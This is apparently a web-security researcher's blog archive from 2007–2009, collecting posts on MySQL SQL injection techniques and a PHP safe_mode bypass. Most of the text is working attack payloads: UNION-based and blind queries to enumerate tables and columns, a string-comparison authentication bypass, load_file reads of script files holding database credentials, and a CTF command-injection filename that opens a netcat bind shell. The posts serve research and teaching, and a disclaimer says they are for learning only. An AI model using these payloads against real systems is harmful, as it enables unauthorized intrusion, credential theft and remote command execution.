MySQL table and column names (update 2)

November 26, 2009

Yesterday Paic posted a new comment about another idea for retrieving column names under MySQL. He found a clever way to get column names through MySQL error messages based on a trick I posted on my first article about MySQL table and column names. Here I used the modular operation ‘1’%’0′ in an injection after a WHERE clause, to provoke a MySQL error containing the column name used in the WHERE clause. But for now I couldnt expand this to other columns not used in the WHERE clause. Paic found a cool way with “row subqueries”. He explains the scenario pretty well, so I will just quote his comment:

I’ve recently found an interesting way of retrieving more column’s name when information_schema table is not accessible. It assume you’ve already found some table’s name.
It is using the 1%0 trick and MySQL subqueries.

I was playing around with sql subqueries when I’ve found something very interesting: “Row Subqueries”

You’d better read this in order to understand what’s next:

The hint is “The row constructor and the row returned by the subquery must contain the same number of values.”

Ok, imagine you have the table USER_TABLE. You don’t have any other informations than the table’s name.
The sql query is expecting only one row as result.

Here is our input:

MySQL answer:
“Operand should contain 7 column(s)”

MySQL told us that the table USER_TABLE has 7 columns! That’s great!

Now we can use the UNION and 1%0 to retrieve some column’s name:

The following query shouldn’t give you any error:
‘ AND (1,2,3,4,5,6,7) = (SELECT * FROM USER_TABLE UNION SELECT 1,2,3,4,5,6,7 LIMIT 1)– -

Now let’s try with the first colum, simply add %0 to the first column in the UNION:
‘ AND (1,2,3,4,5,6,7) = (SELECT * FROM USER_TABLE UNION SELECT 1%0,2,3,4,5,6,7 LIMIT 1)– -

MySQL answer:
“Column ‘usr_u_id’ cannot be null”

We’ve got the first column name: “usr_u_id”

Then we proceed with the other columns…

Example with the 4th column:
‘ AND (1,2,3,4,5,6,7) = (SELECT * FROM USER_TABLE UNION SELECT 1,2,3,4%0,5,6,7 LIMIT 1)– -

if MySQL doesn’t reply with an error message, this is just because the column can be empty and you won’t be able to get it’s name!

So remember: this does only work if the column types have the parameter “NOT NULL” and if you know the table name. Additionally, this behavior has been fixed in MySQL 5.1.
Obviously it was a bug because the error message should only appear if you try to insert “nothing” in a column marked with “NOT NULL” instead of selecting. Btw other mathematical operations like “1/0″ or just “null” does not work, at least I couldn’t find any other. For ‘1’%’0′ you can also use mod(‘1′,’0′).

Anyway, another possibility you have when you cant access information_schema or procedure analyse(). Nice :)

you can find some more information here.


MySQL table and column names (update)

January 26, 2009

While reading at about some ways to get a SQL injection working if your injection point is behind a “group by” and a “limit” clause, Pragmatk came up with the PROCEDURE ANALYSE operation (available on MySQL 3/4/5) I didnt knew of yet. Although it didnt quite solve the actual problem, because it seems that you cant build some dynamic parameters for the ANALYSE function so that you could build blind SQLi vectors, it does give you information about the used database, table and column names of the query you are injecting to.
So this is another way of finding table and column names on MySQL without using the information_schema tables or load_file(). Unfortunetly you will only get the names of the columns and tables in use, but at least it will make guessing easier or maybe some columns are selected but not displayed by the webapp so that you can union select them on a different position where they do get displayed.

Here is an example: Lets assume a basic SQL query you will encounter quite often:

SELECT id, name, pass FROM users WHERE id = x

while x is our injection point. Now you can use


to get all column names, including the database and table name currently selected. You will see something like this:

Depending on the webapp you will need to use LIMIT to enumerate the result of PROCEDURE ANALYSE() line by line which contains the names in the first column of each row:

x = 1 PROCEDURE ANALYSE() #get first column name
x = 1 LIMIT 1,1 PROCEDURE ANALYSE() #get second column name
x = 1 LIMIT 2,1 PROCEDURE ANALYSE() #get third column name

With that said it is neccessary that the webapp will display the first selected column, because PROCEDURE ANALYSE will reformat the whole result with its information about the columns which is normally used to identify the best datatype for this column.
Interesting operation, I wonder if there are any other I dont know of yet which can be useful in the right circumstances.


Book recommendation

December 10, 2008

I know its hard to find the right gifts for christmas, so here is my recommendation. This book by Mario Heiderich, Christian Matthies, fukami and myself covers everything you ever wanted to know about securing webapplications.


The book is in german and guides you through writing secure webapplications (including flash) giving plenty examples for common problems, how to solve them and how to maintain your webapp. You will also learn everything about encoding and other basics, as well as the german law situation regarding webappsec. In the second part of the book we describe all common vulnerabilites in detail, including XSS, CSRF, SQLi, RCE, LFI and much more.
I can honestly recommend this book for beginners as well as for advanced developers and I’m sure even experts will learn some new tricks. It’s available in the next few days and should not be missing on your wish list ! ;)

PHP safe_mode bypass

October 14, 2008

About 3 month ago I came across a bug while playing with PHP commands on command line. I was investigating a php execution vulnerability in one of the Cipher4 CTF services where an attacker could execute PHP commands remotely. To quickly fix the issue and not break the service I was going to turn the safe_mode=on for this particular call. For my testings I used the following options:

-n No php.ini file will be used
-d foo[=bar] Define INI entry foo with value ‘bar’
-r Run PHP without using script tags <?..?>

A local test on my windows box with PHP 4.4.1:

C:\Dokumente und Einstellungen\Reiners>php -n -d safe_mode=on -r “exec(‘calc’);”
The command “/calc” is either misspelled or could not be found.

Now the slash infront of the command was really confusing. It looks like all the safe_mode is doing to prevent the command being executed is to add a slash infront of the command. After playing a bit more I found out that this can be circumvented by adding a backslash infront of your command.

C:\Dokumente und Einstellungen\Reiners1>php -n -d safe_mode=on -r “exec(‘\calc’);”

Voila, the calculator pops up and we have successfully bypassed the safe_mode. This works with the latest Version of PHP 4 and PHP 5 and of course in webapplications too.

<?php exec('\calc'); ?>

Note, that for some reasons you will not get the error message at the latest versions, but the code is executed anyhow. Furthermore, this only works with the functions exec(), system() and passthru() and only on Windows! I havent stepped through all the PHP source, but it seems to me that this bug has something to do with the path seperator on windows and the call of escapeshellcmd() and can not be used on unix enviroments.
I have reported this issue 3 month ago by several emails and decided to post it at the bugsystem over here 1 month ago after I got no response. Until today, there was no response at the bugsystem too so I’m putting it on my tiny blog. Lets see what happens ;)

As it is well known anyway: don’t trust the PHP safe_mode.

Finally after about 1 year they patched this bug. Thanks to Stefan Esser!

MySQL Authentication Bypass

September 9, 2008

I used this trick already to circumvent the PHPIDS filters in some earlier versions and mentioned it shortly in my article about MySQL Syntax. However when I used the same trick to circumvent the GreenSQL database firewall I noticed that this MySQL “bug” is not well known and so I decided to shortly write about it.
Take a look at the following unsecure SQL query:

SELECT * FROM table WHERE username = ‘$username‘ and password = ‘$password

Everyone knows about the simple authentication bypass using ‘ OR 1=1/* as username or perhaps ‘ OR 1=’1 for both inputs. But what MySQL allows too is a direct comparisons of 2 strings:

SELECT * FROM table WHERE username = ‘string’=’string‘ and password = ‘string’=’string

Therefore you dont need any Operators like “OR” which are mostly detected by filters. To shorten your vector you can also use an emtpy string, narrowing your SQL injection to:

username: ‘=’
password: ‘=’

Which ends in:

SELECT * FROM table WHERE username = ‘‘=’‘ and password = ‘‘=’

and successfully bypasses authentication on MySQL. Of course you can use other operators then “equal” and use whitespaces and prefixes to build more complex vectors to circumvent filters. Please refer to the MySQL syntax article. I have also tested this behavior on MSSQL, PostgreSQL and Oracle which does not have the same behavior.

What MySQL seems to allow is a triple comparison in a WHERE clause. That means you can use:

SELECT * FROM users WHERE 1=1=1
SELECT * FROM users WHERE ‘a’=’a’=’a’

Interestingly the following queries also work:

SELECT * FROM users WHERE ‘a’=’b’=’c’
SELECT * FROM users WHERE column=’b’=’c’
SELECT * FROM users WHERE column=column=1

That means if you compare strings it doesnt matter if they are equal and it seems like if you compare columns with Strings or Integers they will get typecasted.

Lastly I would like to recommend a great article from Stefan Esser about another authentication bypass on MySQL.

MySQL does not consider this as a bug. Please refer to the bugreport for detailed information. Again this shows how flexible the MySQL syntax is (intentionally).

Fun with Backticks

May 26, 2008

While chatting with some guys at the OWASP AppSecEU 08 I noticed that backticks are oftenly overlooked in PHP. I came across backticks myself just some time ago while researching vulnerable functions on for my PHP Scanner and found this entry. So you can use something like

$foo = `command here`;

to execute OS commands just like using system, shell_exec and what have you. This was absolutely new to me, although I’ve been working with PHP for quite a while and can be easily overlooked when reviewing code or filtering on mentioned functions (which is an bad idea anyway ;))

While talking about backticks I remembered a quite interesting security hole given on the UCSB CTF 07 (in the service “copyright” for those of you who participated or want to have a shot at the image). The service allowed to upload files and the relevant PHP code looked like the following:

$target_path = "../../uploads/". basename( $_FILES['file']['name']);
$command = "cp ".escapeshellarg($_FILES['file']['tmp_name'])." ".$target_path;
exec($command, $out, $ret);

If you take a closer look at the code you will see that you can execute code by naming the file you are going to upload to something like

foo;ping localhost

since “;” are allowed in filenames and will add a new command after the cp command gets executed. The problem was that we needed slashes in our filename to execute “foo;nc -l -p 2222 -e /bin/bash” or copy some interesting files to the webdir with “../../../../var/www/Site”. Obviously you cant rename your file containing a slash or craft such a request because its still handled as a file by PHP and slashes would be dealed as directorys. Now my mate Freddy had the idea to use backticks again, because they work at the command line just like in PHP to execute commands and return their output:

foo;nc -l -p 2222 -e `nc -l -p 3333`

This code will wait for something passed on port 3333 and then execute the rest of it. So we connect to port 3333, enter /bin/bash and will finally get a remote shell.
As we figured out afterwards this was a fairly stupid workaround for just using nc -l -p 2222 -e `which bash`, but was plain fun anyway during the contest.

Interesting to note is also that backticks on commandline work in double quotes, but not in single quotes.

MySQL table and column names

November 17, 2007

Getting the table and column names within a SQL injection attack is often a problem and I’ve seen a lot of questions about this on the internet. Often you need them to start further SQLi attacks to get the data. So this article shows you how I would try to get the data in different scenarios on MySQL. For other databases I recommend the extensive cheat sheets from pentestmonkey.

Please note that attacking websites you are not allowed to attack is a crime and should not be done. This article is for learning purposes only.

article overview

For the following injections I’ll assume you understand the basics of SQL injection and union select. My injections are written for a SELECT query with two columns, however don’t forget to add nulls in the right amount.

1. The information_schema table

1.a. Read information_schema table normally

Sometimes on MySQL >=5.0 you can access the information_schema table.
So you may want to check which MySQL version is running:
0′ UNION SELECT version(),null /*
0′ UNION SELECT @@version,null /*

Once you know which version is running, proceed with these steps (MySQL >= 5.0) or jump to the next point.

You can either get the names step by step or at once.

First, get the tablenames:
0′ UNION SELECT table_name,null FROM information_schema.tables WHERE version = ‘9
Note that version=9 has nothing to do with the MySQL version. It’s just an unique identifier for user generated tables, so leave as it is to ignore MySQL system table names.
update: Testing another MySQL version (5.0.51a) I noticed that the version is “10” for user generated tables. so dont worry if you dont get any results. instead of the unique identifier you can also use “LIMIT offset,amount”.

Second, get the columnnames:
0′ UNION SELECT column_name,null FROM information_schema.columns WHERE table_name = ‘tablename

Or with one injection:
0′ UNION SELECT column_name,table_name FROM information_schema.columns /*
Unfortunetly there is no unique identifier, so you have to scroll through the whole information_schema table if you use this.

If the webapplication is designed to output only the first line of the resultset you can use LIMIT x,1 (starting with x=0) to iterate your result line by line.

0′ UNION SELECT column_name,null FROM information_schema.columns WHERE table_name = ‘tablename’ LIMIT 3,1

Also, you can use group_concat() to concatenate all table/column names to one string and therefore also return only one line:

0′ UNION SELECT group_concat(column_name),null FROM information_schema.columns WHERE table_name = ‘tablename

Once you know all table names and column names you can union select all the data you need.

For more details about the information_schema table see the MySQL Documentation Library. There you’ll find other interesting columns you can add instead of null, for example data_type.

Ok, that was the easiest part.

1.b. Read information_schema table blindly

Sometimes you can’t see the output of your request, however there are some techniques to get the info blindly, called Blind SQL Injection. I’ll assume you know the basics.
However, make sure you really need to use blind injection. Often you just have to make sure the actual result returns null and the output of your injection gets processed by the mysql_functions instead. Use something like AND 1=0 to make sure the actual output is null and then append your union select to get your data, for example:
1′ AND 1=0 UNION SELECT @@version,null /*

If you really need blind SQL injection we’ll go through the same steps as above, so first we try to get the version:
1’AND MID(version(),1,1) like ‘4

The request will be successfull and the same page will be displayed like as we did no injection if the version starts with “4”. If not, I’ll guess the server is running MySQL 5. Check it out:
1’AND MID(version(),1,1) like ‘5

Always remember to put a value before the actual injection which would give “normal” output. If the output does not differ, no matter what you’ll inject try some benchmark tests:
1′ UNION SELECT (if(mid(version(),1,1) like 4, benchmark(100000,sha1(‘test’)), ‘false’)),null /*
But be careful with the benchmark values, you dont want to crash your browser ;-). I’d suggest you to try some values first to get a acceptable response time.

Once we know the version number you can proceed with these steps (MySQL >= 5.0) or jump to the next point.

Since we cant read out the table name we have to brute it. Yes, that can be annoying, but who said it would be easy?
We’ll use the same injection as in 1.), but now with blind injection technique:
1′ AND MID((SELECT table_name FROM information_schema.tables WHERE version = 9 LIMIT 1),1,1) > ‘m

Again, this will check if the first letter of our first table is alphabetically located behind “m”. As stated above, version=9 has nothing to do with the MySQL version number and is used here to fetch only user generated tables.
Once you got the right letter, move on to the next:
1′ AND MID((SELECT table_name FROM information_schema.tables WHERE version = 9 LIMIT 1),2,1) > ‘m
And so on.

If you got the tablename you can brute its columns. This works as the same principle:
1′ AND MID((SELECT column_name FROM information_schema.columns WHERE table_name = ‘tablename’ LIMIT 1),1,1) > ‘m
1′ AND MID((SELECT column_name FROM information_schema.columns WHERE table_name = ‘tablename’ LIMIT 1),2,1) > ‘m
1′ AND MID((SELECT column_name FROM information_schema.columns WHERE table_name = ‘tablename’ LIMIT 1),3,1) > ‘m
And so on.

To check the next name, just skip the first bruted tablename with LIMIT (see comments for more details about the index):
1′ AND MID((SELECT table_name FROM information_schema.tables WHERE version = 9 LIMIT 1,1),1,1) > ‘m
Or columnname:
1′ AND MID((SELECT column_name FROM information_schema.columns WHERE table_name = ‘tablename’ LIMIT 1,1),1,1) > ‘m

Sometimes it also makes sense to check the length of the name first, so maybe you can guess it easier the more letters you reveal.
Check for the tablename:
1′ AND MID((SELECT table_name FROM information_schema.tables WHERE version = 9 LIMIT 1),6,1)=’
Or for the column name:
1′ AND MID((SELECT column_name FROM information_schema.columns WHERE table_name = ‘tablename’ LIMIT 1),6,1)=’
Both injections check if the sixth letter is not empty. If it is, and the fifth letter exists, you know the name is 5 letters long.

Since we know that the information_schema table has 33 entries by default we can also check out how many user generated tables exist. That means that every entry more than 33 is a table created by a user.
If the following succeeds, it means that there is one user generated table:
1′ AND 34=(SELECT COUNT(*) FROM information_schema.tables)/*
There are two tables if the following is true:
1′ AND 35=(SELECT COUNT(*) FROM information_schema.tables)/*
And so on.

2. You don’t have access to information_schema table

If you don’t have access to the information_schema table (default) or hit a MySQL version < 5.0 it’s quite difficult on MySQL.
There is only one error message I could find that reveals a name:
Query failed: Column ‘id’ cannot be null

But that doesnt give you info on other column or table names and only works if you can access error messages. However, it could make guessing the other names easier.

If you don’t want to use a bruteforce tool we will have to use load_file. But that will require that you can see the output of course.

“To use this function, the file must be located on the server host, you must specify the full pathname to the file, and you must have the FILE privilege. The file must be readable by all and its size less than max_allowed_packet bytes.”

You can read out max_allowed_packet on MySQL 5
0′ UNION SELECT @@max_allowed_packet,null /*
Mostly you’ll find the standard value 1047552 (Byte).

Note that load_file always starts to look in the datadir. You can read out the datadir with:
0′ UNION SELECT @@datadir,null /*
So if your datadir is /var/lib/mysql for example, load_file(‘file.txt’) will look for /var/lib/mysql/file.txt.

2.a. Read the script file

Now, the first thing I would try is to load the actual script file. This not only gives you the exact query with all table and column names, but also the database connection credentials. A file read could look like this:

0′ UNION SELECT load_file(‘../../../../Apache/htdocs/path/file.php’),null /* (Windows)
0′ UNION SELECT load_file(‘../../../var/www/path/file.php’),null /* (Linux)

The amount of directories you have to jump back with ../ is the amount of directories the datadir path has. After that follows the webserver path.
All about file privileges and webserver path can be found in my article about into outfile.
Once you got the script you can also use into outfile combined with OR 1=1 to write the whole output to a file or to set up a little PHP script on the target webserver which reads out the whole database (or the information you want) for you.

2.b) Read the database file

On MySQL 4 and 5 you can also use load_file to get the table content.

The database files are usually stored in

Take a look at step 2. how to get the datadir. An injection we need to read the database content looks like this:

0′ UNION SELECT load_file(‘databasename/tablename.MYD’),null /*

As you can see we need the databasename and tablename first. The databasename is easy:
0′ UNION SELECT database(),null /*

The table name is the hard part. Actually you can only guess or bruteforce it with a good wordlist and something like:

0′ UNION SELECT ‘success’,null FROM testname /*

This will throw an error if testname does not exists, or display “success” if tablename testname exists.
If you try to guess the name, have a look at all errors, vars and html sources you can get to get an idea of how they could have named the table / columns. Often it is not as difficult as it seems first.
You can find a small wordlist for common tablenames here (by Raz0r) and here.

Also note that the file loaded with load_file() must be smaller than max_allowed_packet so this wont work on huge database files, because the standard value is ~1 MB which will suffice for only about 100.000 entries (if my calculation is right ;-))

(2.c. Compromising the server)

There are no other ways to get the data as far as I know, except of compromising the server via MySQL into outfile or with other techniques which are beyond the scope of this article (e.g. LFI).

If you do have any other clever ways I don’t know of or feel I’m in error on some facts, PLEASE contact me.

UPDATE: have a look at this post about PROCEDURE ANALYSE to get the names of the database, table and columns which are used by the query you are injecting to.

UPDATE2: also have a look at this post.


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